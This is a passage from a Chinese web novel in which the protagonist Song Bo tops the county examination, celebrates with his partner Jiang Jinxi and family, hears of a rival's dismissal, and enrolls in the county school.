听到这东西这么贵,李会书小声说了句,“这莫不是金线绣的,这般贵。”他扯了下江金熙的衣袖,“太贵了,我们别买了吧,宋叔叔一直坐一位,定然能上榜的。” 江金熙倒是难得得固执了一回,他从怀中掏出钱袋,直接便付了钱,将吉符拿走赠与宋泊,“望你稳中。”江金熙也不求宋泊一次下场就能有个好名次,只要他的出现在红榜上,就已经是功成。 宋泊双手捧过吉符,将它小心地收入怀中,“有此符相助,我定会有个好名次的。” 街上其他摊子还有很多,买了符以后,他们便没再看与符相关的摊子,专心吃喝玩乐。 入了春,霞县有很多只有春日才供应的糕点,江金熙尝了口,爱吃,宋泊便买了很多。因为这糕点只有春季有,故而商贩们会以一些工艺延长糕点的保质期,这糕点的保质期足有半年,宋泊也不必担心买太多回家坏了。 在外头逛了一日,江金熙给青桥和阿朝都买了东西,宋泊则给简言买了些物什。 二月九日,县试考完的第三天,官府放榜。 天还未亮,繁星仍高挂在天空之中,宋泊睡得正香,就听着有人一直在房门外敲他们的门。 江金熙翻了个身,睁开眼道:“是不是大姑来了?” 今日放榜,昨夜他们便约定了要一同去红榜前看榜,只是现在也太早了,红榜又不会跑,早看晚看都是一样的。 宋泊从床上下来打开了房门,宋茶栽已经穿戴整齐等在门外,她旁边还站着神采奕奕的李会书。 “你怎么还睡得着?”宋茶栽问。 知道今天放榜,宋茶栽在床上是辗转反侧,怎么也睡不着觉,心里既期待又害怕,一面儿想着中了要怎么庆祝,一面儿又想着落榜要怎么安慰,两种思想在她脑海里打架,越躺她越觉着精神。 卯时初放榜,宋茶栽算着时辰,寅时才喊了李会书敲响宋泊的房门。 “这般早是要作甚?”宋泊问。 “看榜啊!”宋茶栽答。 “那榜又不是昙花一现,等睡醒了再去也行。”宋泊说着就要合门再睡回笼觉。 “不成。”宋茶栽没给他这个机会,直接把住了门,抓住宋泊的手,“你赶紧洗漱了。”而后她进了房子,对江金熙温柔几分道:“金熙,你也起来,同我们一块儿看榜。” “好。”江金熙应声。 无奈之下,宋泊只能按着宋茶栽说的话行动。 寅时末,他们赶在官差之前到了红榜前。宋泊确实没想着古代人对看榜的热情能至此,明明天也未明,榜前却早已站满了人,有替自家少爷前来看榜的侍人,也有替自家孩儿来看榜的长辈,更有自己考了试迫不及待来看榜的学子,榜前人头攒动,没有缝隙可供宋泊挤入。 一阵春风吹来,入骨的寒意,宋泊拢禁了江金熙的斗篷,还帮他把绒帽子给戴上了,“可得再等一会儿,外头冷,别冻着你。” 江金熙把宋泊的手拉入斗篷之中,“你也别冻着,我给你暖暖。” “我不怕冷,你也摸着我的手,我的手多热呐。”宋泊道。 江金熙灵动地眨了下眼,“其实是我忘带手炉了,借你一暖。” 宋泊愣了下,随后笑道:“好,你想暖多久就暖多久。” 越靠近卯时,人群就越躁动。 终于在卯时正整,一声铜锣声响,官差来了。 为首的官差双手持一卷红纸,身后跟了八个带刀捕快,为的就是保证红纸顺利上榜。 榜前看榜的百姓自觉让了道儿,让官差顺利走至榜前。 两位官差先在红榜上抹了米浆,而后将红纸摊开,粘在红榜上。 百姓们伸长脖颈,就想看看那榜上有谁,只是被官差隔开了一段距离,那红纸上名儿又小,竟无人瞅着名儿。 为首官员高声喊道:“放——榜——”然后由捕快护送着,退了场。 官差一走,百姓们便不客气了,纷纷往前挤着。 宋茶栽也想往前挤着看,但是他们来的时候晚了,没占到有利地位,现下想往前挤可是废了大劲儿也无济于事。 “宋叔叔!我身形小,我挤进去替您看!”李会书自告奋勇道。 “那你快去。”宋茶栽急忙说道,她现在挤不进去,心就像被架在大火上烤一般,火急火燎。 有眼睛尖的瞅着自己的名字就在榜上,欢呼雀跃,“卢兄,我中了,我中了!” 边儿有个衣着华贵的人与那人一齐跳了起来,“太好了路兄,今晚我请客,上我家饭馆儿吃!” 听着别人传来好消息,宋茶栽更是着急,她催着李会书赶紧进去瞧榜,还说等他出来以后会带他去吃好吃的犒劳他。 李会书答应一声便如个滑腻的泥鳅溜进了人群之中,一会儿功夫,李会书又从人群中钻了出来,脸上难言喜色,“宋叔叔是案首!” “什么?!”宋茶栽有些难以置信,她问:“你就进去那么一会儿,可是看清楚了?” “看得明明白白!”李会书道:“我从头往后看,第一个便看着宋叔叔的名儿!我还顺道往后瞧了瞧,共有四十三人上榜,宋叔叔就是这四十三人的案首!” “真的!”宋茶栽高兴坏了,高兴的泪水从眼中漫了出来。前几日李会书和其他考生那么说着,她便生出几分希翼,觉着自己的侄儿就是榜首,可侄儿不过读书才一年,哪儿能一次就中榜首,她就散了这个心思,现下宋泊真是案首,她就觉着他们宋家,除了宋申闻以外又有了个案首,那可比宋申闻那个简单童生厉害多了。 宋泊虽然面上不显,其实心底也是激动,头一次下场便能得到案首这个头衔,说明他从现代学习到的知识到古代也能适用,如此他便对之后的考试有了几分信心。 江金熙捂住了嘴,开心地说不出话来。 宋泊轻拍两下他的后背,江金熙这才从口中挤出几个字来,“不枉你每日苦读,得了个案首之果。” “不枉你多日相陪,我才能得个案首。”宋泊回道。 第93章 第九十三章县学。 得了这么个好成绩,宋泊豪声着便要请大家吃饭,只是现在时辰太早,客栈内的厨师都还在睡梦之中,这案首宴就只能延后几个时辰吃。 听宋泊得了案首,大家的瞌睡虫都被赶跑了去,回到客栈,大伙儿都聚在宋泊的房内。 “宋叔叔,你当真厉害,不过第一次下场就得了案首!”李会书夸赞道,往后若有人问他何人教他读书,他将宋叔叔案首的名声说出去可多神气。 “恒国律法规定,案首可免府试,下回考试可就是院试了。”江金熙说。 “什么,还有这等好事?”宋茶栽问,她一介大夫,又是个女子,一生投在医学之中,便没了解过科举,她以为科举就是一层层试儿往上考着,却不知道得了县试案首还有这般特殊待遇。 “这次我们几个县加在一块儿,才上榜四十三人,可见此次卷子的难度较前几年有所上升,如此宋泊还能得了案首,他就是天生的读书人。”江金熙说。 一入屋子,就听着三个人轮番夸赞他,把他夸得都要红脸了,宋泊赶紧给三人倒了茶,“好啦,少夸些吧,再夸下去我尾巴翘上了天,秋季院试发挥失常可怎么办?” “呸呸呸。”宋茶栽连呸三口,“可不能胡说。” 读书这事儿讲究个吉利,任何不详的话都不能在这种时候说,宋茶栽让宋泊把话呸掉,宋泊也就照做呸了三声。 “我听说金熙给你买了个吉符,那吉符你就拿着,许能助你高中呢!”宋茶栽是土生土长的南方人,南方庙宇多,她也经常去庙中上香祭拜,心中对神仙的崇敬比他们更甚,既要考试,知识很重要,运气也很重要。 “是呀,没准就是金熙的吉符,让我的名字又往前调了几名呢。”宋泊说。 江金熙捏了宋泊的手臂,疼得宋泊喊出了声,江金熙道:“叫你贫嘴。” 江金熙心底知道,宋泊能得案首完全是他自身本事硬,他送的吉符只是起到个安心的作用,若那吉符的能力真那般厉害,可以把红榜上人的名字往上调,那这吉符可不得售空了。 四人聊着聊着,不知不觉天已大亮,李会书的肚子响了,引得大家大笑,一起下了楼,到客栈厅中吃早餐。 早餐正吃到一半,就有三个身着官服的人找到宋泊。 为首人朝宋泊行了一礼,“可是宋公子?” 宋泊从位置上站起来,与来人回了礼,“你是?” “我是县府幕友,杨知县想请您上府一叙。”幕友道。 案首不比别人,虽然还未得着秀才的特权,但与普通童生相比,还是具有些别的优势。 “我与你去一趟。”宋泊道。 幕友又看着江金熙,说道:“想必这位便是江公子,江公子可与宋公子一同前往。” 这客栈与县府有些距离,幕友准备了马车,宋泊先已一步上了马车,随后伸手出来牵着江金熙进了车厢。 “你说这杨知县请我们去可是有什么目的?”江金熙还记着杨知县在他的案子上给叶单越帮忙,他们没有与他计较已是放他一马,现下作何来唤。 “许是我得了案首的事儿。”宋泊道。 案首不需要府试,杨知县应该会给他一些文书,让他直接去考院试。 到了县府门外,宋泊与江金熙从马车上下来,先前来找他们的幕友领着两人进了县府。 进了县府正厅,杨知县从位置上起来,热情地招呼宋泊和江金熙,“宋公子、江公子快请坐。” “杨知县。”宋泊行了礼,江金熙虽不喜欢这个杨知县,但碍于身份,他还是与杨知县行了礼,出门在外,不能给爹爹和宋泊掉面子。 “诶,多礼了多礼了!”杨知县扶起两人,让幕友引这两人坐下。 现下时辰还早,杨知县便没准备什么油腻的食物,两人面前的小桌上各摆了几盘中式早点和花生酱、豆浆等早餐饮品,“我猜你们还未吃早餐,便准备了些,若还有什么想吃桌上却没有的,只管说就是,我吩咐厨房做。” “那倒不必,如此已经很丰盛了。”宋泊说。 见杨知县这副谄媚的模样,两人便知杨知县这是有意想要与他们打好关系。 宋泊未动桌上早食,他直言问道:“不知知县唤我们来,可是有什么要事?” “宋公子这不是得了案首吗?我这儿有份文书,秋闱时你得拿去给那些官差瞧。”杨知县说。 院试比县试多查验一样东西,那便是考生的历史成绩,宋泊少了一门府试,自然就不会有府试的名次,如此就需要县试的知县出具一张证明文书,如此才能顺利参加院试。 “倒是麻烦杨知县了。”宋泊礼貌答着。 “这可不麻烦。”杨知县让幕友将拟好的文书拿给宋泊,“我听闻宋公子是头回下场,这一下场便得了案首,可是我们县的骄傲。待到院试想必宋公子也能一举夺魁。” “杨知县谬赞了。”宋泊拿过文书,递给江金熙。 文书、合约这等带有法律效应的东西,宋泊都会给江金熙先过目。 见着宋泊的动作,杨知县也无半分不悦,面前一人是江丞相的爱子,一人是今年县试案首,两人皆前途无量,“江公子熟读法律、美貌聪慧,两位可是十分相配。” 江金熙看过文书,确定没有错误后将文书还与宋泊,而后转头与杨知县说着,“谢杨知县夸赞。” “噢对了!”杨知县又想起另一件事,“这成了童生,就得到县里的县学中上学,我已与教谕说过了,许你回家七日,二月十八日早上辰时初,你可得准时上县学报道。” “是,杨知县。”宋泊应声。 两人不欲在县府久待,坐了半个时辰他们便离了县府。 文书到手,这案首才是真真正正坐在宋泊的身上。刚跨出县府门口,江金熙的笑就藏不住了,他嘴角上扬着,双眼如弯月明媚,“太好了,没了府试你还能专心着复习。” 府试时长与县试差不多,一来二去占去一周,现下正好省了那一周,又腾出些时间来。 只是有了童生的身份,就得在县学里读书,县学不比在家自学,每月只有两日能回家,这般便得辞去百书阁的工作,无了进账项,得由江金熙和宋茶栽养着。 回了客栈,宋泊便把宋茶栽唤到了房里,上县学件大事,刚好宋茶栽也还在客栈之中,宋泊就直接紧着时间,与宋茶栽和江金熙两人商量着。 “上县学可是个好事啊!”宋茶栽说。 县学是官家学府,童生进入县学不必交学费,只需交些学杂费即可,而且还有教谕教书,可谓是一举两得的好事儿。 “是呀!你尽管去就是。”江金熙的手覆在宋泊的手之上,“花销你不必担心。” 宋泊抬着头,看了一眼宋茶栽,又瞧了一眼江金熙,忽而他将江金熙与宋茶栽的手拢至一块,由他的手覆在两人手的外头,“得亲人如此,我之福气,只是读书本是我一人的事,现在却将你们也拉了进来。” “既说亲人,又何需客气这些。”宋茶栽抬手出来轻拍宋泊的手背,“忙活了大半辈子,若不能在小辈需要时出手相助,那我这个长辈当得可是有愧。” “就是呀,这些客气话我以后不想再听了。”江金熙立即接着宋茶栽的话往下说道。宋泊哪儿都好,就是自己的事儿总要自己做,不愿意依靠他们。说来他们相恋也一年了,他还从未给宋泊花过钱,这次宋泊上县学,正是他给宋泊当后盾的好机会。 看着两人眼中映着的小小的他,霎时间宋泊觉着的确是自己客气过了头。虽说亲兄弟还需明算账,可一家人终究是相互扶持着过来的,没有谁付出的多谁付出的少一说。 宋泊松了手,端起桌上的茶,“你们说的是,我以茶代酒,自罚三杯。” 当晚,宋泊在客栈定了一桌丰盛的晚餐。 摘得案首可是件天大的好事。县试虽是科举考试最低等一级,可有案首之名将名声打出去,便是跨步正式走上了科举之路,这如何不值得庆祝? “宋叔叔,我也想喝酒。”见桌上人喝得来劲,李会书也起了兴趣。 “那不行。”宋泊记着李会书的年岁,还在少年行列的李会书不能饮酒,这事儿要是让他爹李五知道了,回去可得被他念着了。 “一小杯也不行吗?”李会书给自己争取着。 “不行。”宋泊把果子饮放到李会书的面前,“再过几年你在喝酒吧。” “好吧。”李会书抿着嘴,给自己倒了满满一杯果子饮喝下。 人逢喜事精神爽,这一高兴,酒就多喝了些,亥时初,宋茶栽就倒在桌上不省人事,江金熙也脸上漫着红晕,眼神有些迷糊,看样子大抵也是醉了,宋泊让李会书看着江金熙,自己先把宋茶栽送回房中,再下来带江金熙回房。 第94章 第九十四章自食恶果。 宋茶栽喝醉了还算老实,除了一身酒味以外,不乱动还会跟着走,给宋泊省了不少功夫。 把宋茶栽安置妥当以后,宋泊立即下了楼,江金熙侧趴在桌子上,絮絮叨叨跟李会书说着话。 “小会书,你可得跟你宋叔叔多学些。” “宋泊可是案首~你有福啦!” 宋泊在他身后听着摇了摇头,先前江金熙也喝醉过,却没有这么多话,今日应当是高兴坏了,心心念念都是他成为案首的事儿,这才会跟李会书叨念着。 “是!江哥哥说得对,我定会好好与宋叔叔学习的!”李会书道。 宋泊走到江金熙身边,将他的手拉起来放在自己肩膀上,“好了,我们回房了。” “呀,案首来了。”江金熙脑袋一歪,靠在宋泊的肩膀上。 宋泊转头与李会书说着让他回房休息,自己则带着江金熙上了楼。 大庭广众之下不宜抱着上楼,宋泊就只能以刚才带宋茶栽上去的姿势将江金熙带到了楼上。江金熙比宋茶栽还轻些,宋泊揽着他,只觉着自己揽着片羽毛,实在是轻,不必使些什么力气就能将他带上楼。 轻轻地把江金熙放在房内床上,宋泊喊了店小二送来热水,宋泊拧干面巾,轻柔地擦着江金熙的面儿,江金熙也没有睡着,两只眼睛睁着,一眨不眨地瞧着宋泊,时不时还嘿嘿傻笑两声,俨然是一副醉了的模样。 “你笑什么呀?”宋泊被江金熙盯着也没什么不好意思,他边给江金熙擦着手边问道。 “我真是有好福气,能与你相爱。”江金熙说道。 “我才是好福气,有你陪在身边。”宋泊帮江金熙擦好以后,将面巾丢回水盆之中,接着搬了把小凳子坐在床边,微微倾身,在江金熙的额头上落下一吻。 “宋泊。”江金熙抬着脑袋,“亲我。” 自上回一吻已经过去许久,前些日子各自都在忙碌,回了房都是沾枕既眠,哪儿有些温存的时候,现如今已经成功走上科举之路,也是时候该为感情做些事儿了。 宋泊缓缓低下头,江金熙双唇微张,轻触之间,两人的唇印在一起,有上次的经验,这次宋泊便熟练多了,他探舌而入勾住江金熙,缠绵环绕。 两人气息交换之间,宋泊能觉着自己起了反应。 只是此时还不是做最后一步的时机,宋泊的思想有些古板,认为那事儿得在婚后之后才成,更何况现在还是在封建思想盛行的古代,他更应该为江金熙的名声着想。 如此想着,宋泊正想起身,就被江金熙勾着又吻了回去,两厢旖旎,等离开时,两人的唇都红润又饱满。 江金熙没撑着睡意,吻毕没多久就睡了过去,倒是给宋泊一个解决自己生理需求的机会,宋泊冲了个冷水澡,脑袋也被冲得清醒了几分,他越发坚定要一次考上举人,明年中举便立即上门提亲。 翌日,江金熙想起自己昨日的所作所为,羞得要钻进被子里再不见人,他怎的不知他酒醉以后如此浪荡。 “好啦,别再往被褥里钻啦,等会钻出个洞来。”宋泊觉着好笑,隔着被子轻拍了拍在被子里扭动的江金熙。 “你怎么也就许了我胡来。”江金熙的声音从被子中传出来,闷闷的。 “自己爱人自然是宠着的。”宋泊答。 “我都不好意思出来见人了。”江金熙说。 “如此就不好意思了,那成亲以后可怎么办呐。”宋泊说。 江金熙听音辨位,从被子中伸出只手,准确无误地打在宋泊身上,“就知道逗我。” 午时,四人吃了中饭就回了传福镇,杨知县给宋泊放了七日的假,可得紧着些用。 回到传福镇,李会书没答应宋泊的话在宋宅里玩会儿,而是马上就回了家,一来他要赶紧跟李五和阿篮说宋泊中了案首的喜事,二来他被宋泊激励着,想读书的心达到了顶峰。宋泊便没在强求他留下来,放了人走。 “主君、郎君。”见着宋泊和江金熙回来了,简言开了门,高兴地说着,“主君中案首的事儿,县府告示出来,镇里的大伙儿都知道哩!” 简言脚边站着的常乐听不懂简言说了些什么,但看着大家都很高兴,它的尾巴便摇得如螺旋桨一般,嘴一咧着,跟着一起笑。 “这可是件天大的喜事!”简言接着说道。 “不过一个案首而已,就是天大喜事了,那再往后若中了院试案首、乡试案首,你当如何说?”宋泊说道。 简言苦恼了一下,接着便答道:“那就是天天天天大的好事!” 简言现在不过九岁,童言逗得大家直乐,笑得他不好意思地挠了下后脑勺,“可是我说错了?” “没有,你说的可对了。”江金熙摸了下他的头,笑着说道。 宋茶栽未在宋宅里住,只待到下午便离了传福镇回近里村,宋茶栽前脚刚走,后脚林武玉就派了人来请宋泊和江金熙。 林武玉是江丞相这边的人,宋泊又曾帮助过他,在宋泊中案首之时来请也是情理之中。 不过这次林武玉并不是以县令的身份来请人的,而是以他自己的身份来请,设宴也设在他的林府之中。 宋泊和江金熙到林府的时候,天色刚刚微深,领路人引着他们,直入膳厅,说是林武玉已经在膳厅里头设好了宴席,只等他们入座。 待宋泊他们到膳厅时,里头只有林武玉和林夫人两人,可见这次确实是个私宴。 见着两人来了,林武玉从位置上站起来,林夫人也跟着一块儿站了起来。 “林县令、林夫人。”宋泊朝着两人分别行礼,江金熙紧随其后,也行了礼。 “快请坐。”林武玉右手直着摊开,让家中侍人为两人拉开椅子,两人入座后,他也重新做回位置上,手一挥,让侍人上菜。 “听闻宋公子是第一次下场,这一下场便得了个案首之名,真是英雄出少年啊。”林武玉乐呵地说着。 因着之前水灾之事,林武玉便对宋泊好感许多,现下宋泊又得了个案首,这名儿传进京城,与宋泊籍地有关的官员都要跟着沾喜,他作为传福镇的县令,自然也在沾喜的行列之中,如此一来宋泊又为他回京城复官的事添了些柴火,这让林武玉越来越觉着宋泊便是他的福星。 “你们可不知,这老爷听着你得了案首,高兴地两天都没睡着觉,光乐了。”林夫人边给林武玉倒酒,边揭着林武玉的短。 “能让林县令连乐两日,也是宋泊的福气。”宋泊端起酒来,敬了林武玉一杯。 林武玉满面笑容,“今儿个是私宴,是我做主要为你庆祝一番,便省去那些礼仪,大家吃得尽兴就是!” “说来江公子也是好眼力,这沧海淘金的本事了得,在大伙儿都不知宋公子有何造诣之前,就已明他是块金子。”林武玉又夸着江金熙,面前两人何其相配,假以时日定然会成为流传之佳话。 “林县令谬赞。”江金熙答道。 林武玉府中厨师技艺高超,一顿饭吃来十分尽兴。 “对了,还有一事得告知你们。”林武玉说。 “何事?”宋泊问道。 “也是刚传来的消息,叶单越被罢官了。”林武玉道。 “什么?”宋泊和江金熙对视一眼,不明白发生了什么事儿能让圣上罢了叶单越的官。 叶单越前年北域立了功,被江丞相施了法子送去抓贼寇也抓了些人,算是有功,应该算是圣上眼前的红人才是,怎么会如此突然被罢了官。 江金熙也是一脸不解,他这半年多一直在传福镇陪着宋泊,传福镇离京城远,爹爹又不会把朝中事与他说,他自不明白朝中发生了什么。 把一个四品将军的官职免去,可见叶单越是犯了个天大的错误。 “说江公子当时会被歹人抓至近里村,与他脱不了干系。”林武玉说着又压低了几分声音,“他可能就是主谋。” “什么!”这下江金熙坐不住了,青梅竹马的人变成了祸害他的主谋,这个消息让他难以接受,虽说他俩早已闹掰,但把他害到近里村来何其歹毒,那么多年的情意,叶单越做得出这般事儿? “我也不知叶单越为何会这么做,京中也未传出叶单越被罢官的理由,但老师传来的信里或多或少提了些,大抵就是我刚刚说的那个意思。”林武玉说。 京城不传消息却直接罢官,从偏儿的角度来说,反而证实了林武玉的说法。正是这事实在不宜公示,公示出来还辱了官中信誉,京城才会将事儿压了去。 “我真没想到他是这般人。”江金熙心中淤气,端着酒猛喝了一口,这事儿可是气得他够呛。林武玉为人正直,不会编瞎话来唬他,前头怀疑过后江金熙越深思越觉着确有其事,叶家没落,叶单越自以前便不掩饰他对朝堂的野心,为了重复家中荣光,他确实会用上些手段,只是没想到那些手段竟会落在他身上。 江金熙只觉着自己遇人不淑,心中跟吞了口放了多年的烂菜一般恶心。 “罢官以后还有何惩罚?”宋泊问。 “打了五十大板后和叶府其他人一起被逐出京城了。”林武玉说,“我估摸着圣上还是功过相抵了,不然以叶单越的所作所为,定然会被斩首的。” “如此倒也算他食了自己的恶果。”宋泊说。 第95章 第九十五章学府。 江金熙因着叶单越的事儿闷闷不乐了许久,还是宋泊连着哄了三日,才将他哄得开心起来。 这日,宋泊上了百书阁,辞工一事还得与秦闻当面说明。 “恭喜恭喜,得了案首。” 宋泊刚跨进百书阁,就有同事瞅着他,过来与他庆贺。 “多谢。”宋泊一一回了回去。 韩木秋也来与他说了贺词,宋泊还话回去以后,问:“秦老板今日可会来店中?” “会的。”韩木秋答,不过现在秦闻还未来,他便拉着宋泊坐下聊着天。 韩木秋先前也是走在科举之路中的人,不过多年未中,他就歇了那股劲,身上背着个童生身份在百书阁里抄书赚钱,日子倒也差不到哪儿去,他便安于现状,只想蜗居一处好好生活。 这些年来从百书阁出去中了的人不是没有,但像宋泊这样,一下场便拿了个案首的人,他可是独一位。 “我听闻此次卷子可是十年来最难,连秦公子自信满满去了,都落了榜下来,宋弟可真是奇人也,竟得了县试案首。”韩木秋说道,他自己考过多年,自知县试卷子难会很难,简单又会很简单,县试这般不稳定常被官员上奏,但因着难和易影响的都是所有人,故而便一直未整改过,只靠考生的真本事。 “秦公子也去县试了?我怎的没在号房看着他?”宋泊问。 “秦公子非霞县人,自不会出现在霞县的县试呀。”韩木秋答。 听韩木秋这么说,宋泊才*发觉自己刻板思维了,“是我一时死板了。” “这不是案首嘛。” 真是说谁谁到,才说着秦令,秦令就从店门外跨了进来,他县试一直未过,久了倒也不觉着有什么,从开始的难过到如今的麻木,要真让他过了才是个奇迹。只是自己未过,讨厌的人却成了案首,让他心里别扭,不自觉出言呛道:“不过瞎猫抓着死耗子,也值得与他人说道?” 秦令此人没半点儿本事却骄傲自大,明明都已成年,却还像个未长大的孩童一般,这种人与他讲道理他是听不明白的,宋泊便懒得与他争论、计较,“秦公子说的是。” 宋泊这么回答,秦令觉着自己一拳打在棉花之上,心中来气却因着未过县试缺了几分底气,“你也别嚣张,宋兄也是童生,到院试谁在前头还不一定呢!” 秦令口中的宋兄说的应该是宋申闻,县试三年两次,上年办了一次,今年也办了一次,宋申闻上年四月过了府试,因着自己余县尉女婿的身份又摆了几场宴,名声打了出去,成了传福镇中叫人看好的准秀才之一。 “是,你说得对。”宋泊接着秦令的话往下说。 秦令一口气上不来,喘了两下,宋泊没有任何反应他倒是先把自己气了个半死。 秦令找着自己的书箧,拿了便气呼呼走了,没再与宋泊说过一句话。 “宋弟也别气,秦公子就那副性子,不理他就是。”韩木秋也是瞧不惯秦令的脾气,一个读书的文人,遇着不顺心的事儿便随时爆炸,店内不少人都被他骂过,没少在秦老板面前告他的状。不过秦老板本人溺爱自家儿子,这些状到最后都不了了之,大伙儿就只能躲着秦令。 “无妨,我并未生气。”宋泊回道。 秦闻在下午未时中到了店内,宋泊与他面对面说了辞工的事儿。 “我可以应下。”秦闻说道:“往后你若是还想再回来,与我说一声就是。” “多谢秦老板。”宋泊后退一步,朝秦闻行了一礼。 二月十七日,前往霞县的前一天,宋泊收拾书籍,江金熙收拾衣物,他按着近几日的天气收拾衣物,没给宋泊塞太多件衣服,塞太多用不上还重,过月换了天气要换衣裳,他在让阿朝驱车上霞县就是。 去了县学可就是半封闭式学习,每月只放假两日,那日子定比现在更苦一些,想着宋泊明日就要近县学,江金熙就已经开始心疼了,不过这等苦定是要吃的,县学里的教谕都是文学大拿,听了他们的课肯定受益匪浅。 “你去了县学有什么不如意就传信出来,我帮你教训他去。”江金熙说着。 这话听来像自家孩童要上学,家长不放心一样,宋泊心底觉着好笑,“有丞相哥儿做我后盾,我看谁敢欺负我呢。” “你去了县学要是菜品不满意就传信出来,我给你雇个厨师,每日顶点做饭过去。”江金熙再说。 这些嘱咐都是江金熙爱的表现,宋泊走到江金熙面前,牵住他的手放在胸口,“我是去上学的又不是去吃苦的,县学好歹是个官家学府,条件不会差到哪儿去的。” “我就是担心。”江金熙答。 “你这般担心,那你去当我的书童呢?”宋泊说。 富贵人家的公子去县学都要带书童,县学里也就学生和书童能进,学生的家属都只能在院外租房相陪。 “说什么呢,我才不。”江金熙说:“明儿个有个小手术,师祖要我主刀,那可是个好机会,我才不去当你的书童。” “好好好,那我便等着江公子成为医中圣手。”宋泊道。 入夜,宋泊在家中吃了晚餐后,由阿朝驱车上了霞县,明日一早就得去县学报道,辛苦凌晨起床,还不如在客栈内住一晚舒舒服服地去上学。 宋泊住的还是上次县学住的那间客栈,店老板瞧着宋泊,热情相迎,“宋公子,今日可要住店?” “住一晚,给我个标间就是。”宋泊说着,将铜钱放在桌上。 店老板一枚未数,把铜钱尽数推回宋泊身前,“宋公子可是我们客栈的贵人,这房钱我便给您省了。” “何出此言?”宋泊道。 “宋公子是案首,借着您的名声,住我们店的客人多了不少。”店老板说。 县试过后,住客栈的学子少了很多,众多客栈都有了空房,与他们相比,他们这间客栈的客人还相对多一些,都是听了案首住过这间客栈才来的。 “那是两码事,哪儿能省房费呢?”宋泊道。 “于我们而言,宋公子就是贵人,省贵人一晚房钱是应该的。”店老板又把钱推了回去,“来人,带宋公子去上房。” “欸!”店小二应声,拿上房牌带着宋泊上了房。 舒服睡了一晚,卯时中宋泊起了床,穿戴整齐背上书箧,到了县学门口。 县学内的杂役打开门来,见门外站着个文质彬彬的文人,便出声问着:“可是宋公子?” “正是。”宋泊点了头。 “请随我来。”杂役带着宋泊进了县学,县学不愧为县中学府,府中书香味极浓,县学中陈设都由实木和大理石所制,一路上遇到不少学子站在路边拿着书卷轻读,明明还未到上学时间,大家却都已经在努力学习了。 “宋公子是新来的学子,需得先到教谕面前报道。”杂役领宋泊到了清风馆前,“这处是教谕的办公场所,宋公子请在这儿等候一会儿,容我敲个门请示一下。” “好。”宋泊道。 杂役敲了两次门,便有声音自馆内传出,说话人声音雄厚,不似刚醒,这县学中人都是卷王,连教谕还未到工作时间,就已经在清风馆内坐着了。 杂役把宋泊送到清风馆内,便反身回去做自己的事儿了。 清风馆内坐着一位头发半白的老者,老者留了胡须,身着一身白色长袍,头戴文人冠,便是一副常年浸润于诗香墨色中的文人模样。 “连教谕。”宋泊抬手,行礼。 先头来的时候,杂役与他说过教谕的姓氏,宋泊便按着杂役说的姓氏,唤了连教谕。 “杨知县给你的文书需呈给我看看。”连教谕说,他未见过宋泊本人,只能靠文书来认人。 宋泊从书箧中将文书拿了出来,“请连教谕过目。” 连教谕缓慢地抬手接过,举手投足之间优雅尽显,他小心地将文书打开来,细细看过后折起,又轻轻放回宋泊手中,“因你已成案首,不考府试,我便将你安排至乡甲班,等会你去库房领了书,在库房门前等候一会儿,乡甲班的学官会领你熟悉学府内部。” “是。”宋泊道。 “县学不比外头,有些自己的规矩,学官会与你说道,你可得谨记。”每年的案首连教谕都会特别关注一些,这些人是之后乡试、会试甚至殿试榜首的好苗子,若是因着毁了规矩被从县学逐了出去,无了乡试需要的同学、廪生相保,无法参加乡试,那可是遗憾中的遗憾。 “是,多谢连教谕。”宋泊又低了头,行礼。 县学占地面积很大,又有教室又有学生宿舍,弯弯绕绕之间,宋泊找库房也找了许久,领上上学要用的书,宋泊等在库房门口,没一会儿有个中年文士寻了过来,那人便是乡甲班的学官,王学官。 王学官走在宋泊前头,“来,我领你熟悉熟悉学府,明日你可就正式上学了。” 第96章 第九十六章学府恶霸。 县学内是两人一间宿舍,王学官带着宋泊到宿舍放了东西。 另外一床上叠着整齐的被褥,边儿的书桌上也堆满的书,一瞧便是有人之位,王学官与宋泊介绍着:“与你同住的学子叫路砚知,是上年考中的学子,不与你同班,他在乡丙班。” 县学内学生作息一致,只是因在红榜上的名字顺序,被分为了甲、乙、丙、丁四个班,甲最好,丁最差。 放好东西,王学官领着宋泊去了食堂,县学内有专门的厨师为学子们做饭,只是这饭菜不可挑,每日就是两菜一汤装做一盘,学子来了拿上一盘就是。 食堂再走便是澡堂,宿舍边装了供人方便的厕房,但洗澡不可在那小小的厕房之中,学府中学子众多,若每人都要在厕房中洗澡,可不得累坏了杂役运水来,所以学府内建了个澡堂,要洗澡就得在澡堂之中。 又看了学府中的藏书房、休息阁楼等基础建筑,王学官才领着宋泊去了学堂地儿,刚在学房附近,便听着郎朗读书声。 “学堂分了乡、会两级,你的学堂就在那头,等会儿下了堂,你就可到里面瞧瞧。”王学官说。 学府内的地儿王学官都带宋泊瞧过了,而后他把宋泊带回了自己办公的朗月馆,与他说着学府内的规矩。 朗月馆是众学官办公的地儿,王学官走到最里头那间房间,让宋泊坐下。 王学官从书架上拿下一本写有规矩论的书交到宋泊手中,“这就是学府中的规矩,其中条律你可得熟记,不多,仅几十条而已。” 与府中学生而言,背个几十条规矩确实不算困难。 宋泊简单翻了几页,这书大抵是为了友好竞争而编,多数条例都是为了避免学子间的冲突。 “你可要在学府食堂中吃饭?”王学官问。 厨师每日按人头出餐,有些人不乐意吃厨师做的饭,让家中人送来,就得从名单上花去那人的名字,省得厨师做出来又没人吃,浪费了。 “要的。”宋泊道。 江金熙在传福镇,外头没人给他送饭来,他就只能在学府里的食堂里吃饭,反正他也不是来学府享福的,饭菜难吃无所谓,能维持住他的生命就行。 王学官在本子上记下宋泊的名字,再交代几句话,便放宋泊走了。 无事的宋泊先回了趟宿舍,已经有杂役在他那张床上放了被褥、一些生活用品和两套供换着穿的学子服,宋泊把规矩论放在书桌上,再把书箧里的书拿出来摆在他书桌后头的书架上。 学府学府,重在学字,故而每间宿舍的衣柜都只是个小木箱而书架却占了一大面墙。 宋泊将所有的书籍都摆了上去,也只占满了书架第一层。 下午,宋泊换上学子服,按着时间表去了乡甲班,王学官白日时与他说过他坐的位儿,宋泊不费吹灰之力便找着了自己的位置。 “宋侄儿,你来了!”身后传来熟悉的声音,宋泊转头看去,正是宋申闻。 许久未见宋申闻,宋申闻可谓是春风得意,他的身形都因着常吃好喝好,扩大了一圈儿,在他身后还跟了两位一样穿着学子服的人,看样子像是与宋申闻关系较好的同学。 “申闻,这就你是说的那个侄儿?”说话之人眼中闪过一抹鄙夷,也不知宋申闻跟他们说了什么,以致于宋泊竟莫名其妙挨了一眼鄙视。 